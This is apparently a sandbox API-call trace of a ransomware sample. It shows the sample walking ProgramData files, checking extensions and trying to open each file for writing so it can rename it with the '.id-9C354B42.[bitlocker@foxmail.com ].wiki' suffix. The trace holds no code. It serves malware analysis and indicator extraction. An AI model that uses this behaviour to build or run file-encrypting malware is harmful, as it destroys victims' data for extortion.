[0172.412] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.412] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.412] lstrlenW (lpString=".dbf") returned 4 [0172.412] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.412] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.412] lstrlenW (lpString=".1cd") returned 4 [0172.412] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.412] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned 111 [0172.412] lstrlenW (lpString=".jpg") returned 4 [0172.412] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.412] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.412] lstrlenW (lpString="Windows Easy Transfer.lnk") returned 25 [0172.412] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.412] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1316) returned 1 [0172.412] CloseHandle (hObject=0x1ac) returned 1 [0172.412] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk")) returned 0x20 [0172.413] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.413] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\windows easy transfer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.413] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk") returned 103 [0172.413] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk") returned 103 [0172.413] lstrlenW (lpString=".doc") returned 4 [0172.413] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.413] lstrlenW (lpString=".docx") returned 5 [0172.413] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.413] lstrlenW (lpString=".pdf") returned 4 [0172.413] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.413] lstrlenW (lpString=".xls") returned 4 [0172.413] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.413] lstrlenW (lpString=".xlsx") returned 5 [0172.413] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.413] lstrlenW (lpString=".ppt") returned 4 [0172.413] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.413] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk") returned 103 [0172.413] lstrlenW (lpString=".zip") returned 4 [0172.413] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.413] lstrlenW (lpString=".rar") returned 4 [0172.413] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.413] lstrlenW (lpString=".bz2") returned 4 [0172.413] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.413] lstrlenW (lpString=".7z") returned 3 [0172.413] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.413] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer.lnk") returned 103 [0172.635] lstrlenW (lpString=".dbf") returned 4 [0172.635] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0173.017] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2919) returned 1 [0173.017] CloseHandle (hObject=0x320) returned 1 [0173.017] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk")) returned 0x20 [0173.017] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.017] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Access 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft access 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.222] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=332) returned 1 [0173.222] CloseHandle (hObject=0x1b4) returned 1 [0173.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn")) returned 0x2022 [0173.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.222] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=368) returned 1 [0173.223] CloseHandle (hObject=0x1b4) returned 1 [0173.223] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn")) returned 0x2022 [0173.223] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.223] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.224] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=326) returned 1 [0173.224] CloseHandle (hObject=0x1b4) returned 1 [0173.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn")) returned 0x2022 [0173.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.224] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.224] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=326) returned 1 [0173.224] CloseHandle (hObject=0x1b4) returned 1 [0173.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn")) returned 0x2022 [0173.224] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.225] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.225] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=350) returned 1 [0173.225] CloseHandle (hObject=0x1b4) returned 1 [0173.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn")) returned 0x2022 [0173.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.225] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.225] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=332) returned 1 [0173.225] CloseHandle (hObject=0x1b4) returned 1 [0173.226] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn")) returned 0x2022 [0173.226] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.226] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=314) returned 1 [0173.226] CloseHandle (hObject=0x1b4) returned 1 [0173.226] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn")) returned 0x2022 [0173.226] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.ois.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.227] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0173.227] CloseHandle (hObject=0x1b4) returned 1 [0173.227] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn")) returned 0x2022 [0173.227] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.227] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.228] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0173.228] CloseHandle (hObject=0x1b4) returned 1 [0173.228] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn")) returned 0x2022 [0173.228] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.229] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.229] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=362) returned 1 [0173.229] CloseHandle (hObject=0x1b4) returned 1 [0173.229] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn")) returned 0x2022 [0173.229] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.229] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.229] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=344) returned 1 [0173.229] CloseHandle (hObject=0x1b4) returned 1 [0173.230] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn")) returned 0x2022 [0173.230] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.230] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.230] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=368) returned 1 [0173.230] CloseHandle (hObject=0x1b4) returned 1 [0173.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn")) returned 0x2022 [0173.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.233] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.233] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0173.233] CloseHandle (hObject=0x1b4) returned 1 [0173.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn")) returned 0x2022 [0173.233] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.234] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.234] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=326) returned 1 [0173.235] CloseHandle (hObject=0x1b4) returned 1 [0173.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn")) returned 0x2022 [0173.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.235] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.235] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=350) returned 1 [0173.235] CloseHandle (hObject=0x1b4) returned 1 [0173.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn")) returned 0x2022 [0173.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.235] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.236] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=392) returned 1 [0173.236] CloseHandle (hObject=0x1b4) returned 1 [0173.236] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn")) returned 0x2022 [0173.236] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.236] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=350) returned 1 [0173.236] CloseHandle (hObject=0x1b4) returned 1 [0173.236] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn")) returned 0x2022 [0173.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.237] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=350) returned 1 [0173.237] CloseHandle (hObject=0x1b4) returned 1 [0173.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn")) returned 0x2022 [0173.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.238] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0173.238] CloseHandle (hObject=0x1b4) returned 1 [0173.238] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn")) returned 0x2022 [0173.238] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.238] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.239] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=362) returned 1 [0173.239] CloseHandle (hObject=0x1b4) returned 1 [0173.239] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn")) returned 0x2022 [0173.239] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.240] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.240] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0173.240] CloseHandle (hObject=0x1b4) returned 1 [0173.240] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn")) returned 0x2022 [0173.240] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.240] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft 